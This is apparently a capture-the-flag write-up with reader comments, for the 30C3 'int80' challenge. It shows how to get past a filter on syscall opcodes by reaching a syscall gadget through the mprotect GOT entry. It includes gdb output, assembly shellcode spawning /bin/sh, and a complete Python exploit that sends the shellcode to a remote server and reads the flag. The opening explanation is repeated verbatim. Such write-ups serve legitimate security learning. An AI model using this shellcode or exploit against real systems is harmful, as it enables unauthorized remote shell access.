We were given a linux 64-bit ELF armed with PIE and NX. The executable performs the following operations
[*] Allocates 0x200 bytes of memory using memalign()
[*] Makes the area RWX with mprotect()
[*] Reads 0x1D8 of user data into the buffer using fread()
[*] Makes the area RX with mprotect()
[*] Calls the memory area with call rbx
Our aim is to execute shellcode in this buffer, since it has execute permission. But there are restrictions
[*] Some bytes are filtered - 0xCD, 0x80, 0x0F, 0x05, 0x34 before mprotect() is called. This means we cannot execute syscall, sysenter or int80
[*] Self mutating shellcode is not possible since write permission is removed
[*] The executable is PIE. So ROP is not very easy
[*] All the registers are cleared before user supplied input is executed
This is how the registers looked like when RIP points to user code
[*] Read the address from [RSI+8]
[*] Compute the offset needed to make it point into the GOT entry of mprotect
[*] Read the GOT entry of mprotect()
[*] At mprotect()+5 resides a syscall gadget, use this to complete our shellcode
Shellcode:
[*] Allocates 0x200 bytes of memory using memalign()
[*] Makes the area RWX with mprotect()
[*] Reads 0x1D8 of user data into the buffer using fread()
[*] Makes the area RX with mprotect()
[*] Calls the memory area with call rbx
Our aim is to execute shellcode in this buffer, since it has execute permission. But there are restrictions
[*] Some bytes are filtered - 0xCD, 0x80, 0x0F, 0x05, 0x34 before mprotect() is called. This means we cannot execute syscall, sysenter or int80
[*] Self mutating shellcode is not possible since write permission is removed
[*] The executable is PIE. So ROP is not very easy
[*] All the registers are cleared before user supplied input is executed
This is how the registers looked like when RIP points to user code
gdb-peda$ info registers rax 0x0 0x0 rbx 0x0 0x0 rcx 0x0 0x0 rdx 0x0 0x0 rsi 0x7ffff8201010 0x7ffff8201010 rdi 0x0 0x0 rbp 0x7fffffffe570 0x7fffffffe570 rsp 0x7fffffffe1c0 0x7fffffffe1c0 r8 0x0 0x0 r9 0x0 0x0 r10 0x0 0x0 r11 0x0 0x0 r12 0x0 0x0 r13 0x0 0x0 r14 0x0 0x0 r15 0x0 0x0 rip 0x7ffff8202028 0x7ffff8202028 eflags 0x10212 [ AF IF RF ] cs 0x33 0x33 ss 0x2b 0x2b ds 0x0 0x0 es 0x0 0x0 fs 0x0 0x0 gs 0x0 0x0Except for RSI, RSP, RBP all registers are cleared. So we decided to find some valid pointers to libc functions near the address pointed by RSI or RSP. Lets check RSI
gdb-peda$ x/2gx $rsi 0x7f67b9d04010: 0x00007f6700000000 0x00007f67b81bbd88 gdb-peda$ vmmap Warning: not running or target is remote Start End Perm Name 0x000008c0 0xffffffffff601000 rx-p /home/renorobert/Desktop/int80 0x00000238 0x00007f67b85e9000 r--p /home/renorobert/Desktop/int80 0x00201de0 0x00007fff2c58a000 rw-p /home/renorobert/Desktop/int80At RSI+0x8 we have an address which can point into the GOT entry of the executable with a fixed offset.
gdb-peda$ p/x 0x00007f67b85e9000-0x00007f67b81bbd88 $2 = 0x42d278 gdb-peda$ x/16gx 0x00007f67b81bbd88+0x42d278 0x7f67b85e9000: 0x0000000000201df8 0x00007f67b83e62c8 0x7f67b85e9010: 0x00007f67b81d7200 0x00007f67b7e73ce0 0x7f67b85e9020 <fread@got.plt>: 0x00007f67b7e726f0 0x00007f67b7e24680 0x7f67b85e9030 <signal@got.plt>: 0x00007f67b83e7926 0x00007f67b83e7936 0x7f67b85e9040 <memalign@got.plt>: 0x00007f67b7e86a30 0x00007f67b7e85f40 0x7f67b85e9050 <fflush@got.plt>: 0x00007f67b7e71c90 0x00007f67b83e7976 0x7f67b85e9060 <mprotect@got.plt>: 0x00007f67b7ef30c0 0x00007f67b83e7996 0x7f67b85e9070 <sysconf@got.plt>: 0x00007f67b7ec4580 0x00007f67b83e79b6
GOT entry of mprotect: gdb-peda$ x/gx 0x00007f67b81bbd88+0x42d2d8 0x7f67b85e9060 <mprotect@got.plt>: 0x00007f67b7ef30c0 gdb-peda$ x/2i 0x00007f67b7ef30c0 0x7f67b7ef30c0 <mprotect>: mov eax,0xa 0x7f67b7ef30c5 <mprotect+5>: syscall # syscall gadget, our targetSo the idea of payload is
[*] Read the address from [RSI+8]
[*] Compute the offset needed to make it point into the GOT entry of mprotect
[*] Read the GOT entry of mprotect()
[*] At mprotect()+5 resides a syscall gadget, use this to complete our shellcode
Shellcode:
mov rcx, [rsi+0x8] # Read pointer mov rcx, [rcx+0x42d2d8] # Our computed offset to mprotect GOT lea rcx, [rcx + 0x4] inc rcx # RCX holds the adddress of syscall gadget mov rdi,0x0068732f6e69622f push rdi push rsp pop rdi push rax push rdi push rsp pop rsi cqo mov al,0x3b # execve("/bin/sh", ["/bin/sh", 0], 0) call rcx # syscallThe remote offset was little different from the local value we computed. But we got this right with a small bruteforce. Below is the final exploit
#!/usr/bin/env python import socket import struct import time ip = '88.198.89.210' #ip = '127.0.0.1' port = 1024 #local_offset = 0x42d2d8 remote_offset = 0x42d2b8 shellcode = ( "\x48\x8b\x4e\x08" + "\x48\x8b\x89" + struct.pack("<I", remote_offset) + "\x48\x8d\x49\x04" + "\x48\xff\xc1" + "\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00" + "\x57" + "\x54" + "\x5f" + "\x50" + "\x57" + "\x54" + "\x5e" + "\x48\x99" + "\xb0\x3b" + "\xff\xd1" ) shellcode = shellcode + "A" * (0x1d8-len(shellcode)) # padding soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) soc.recv(128) time.sleep(0.5) soc.send(shellcode + "\n") time.sleep(0.5) soc.send("cat /home/user/flag\n") print soc.recv(1024)Flag for the challenge is 30C3_73c2424a3fa0e4e156aa695cf1656cf2
Good catch on RSI. Another way: gdb-peda$ lookup address stack binary => will print out list of addresses on stack belong to binary so you can extract and compute offset to GOT entry
ReplyDeleteHey thanks for the information, easy way to inspect the stack. I manually inspected the stack and found some pointers to libc but finally decided to use the information in RSI :)
Delete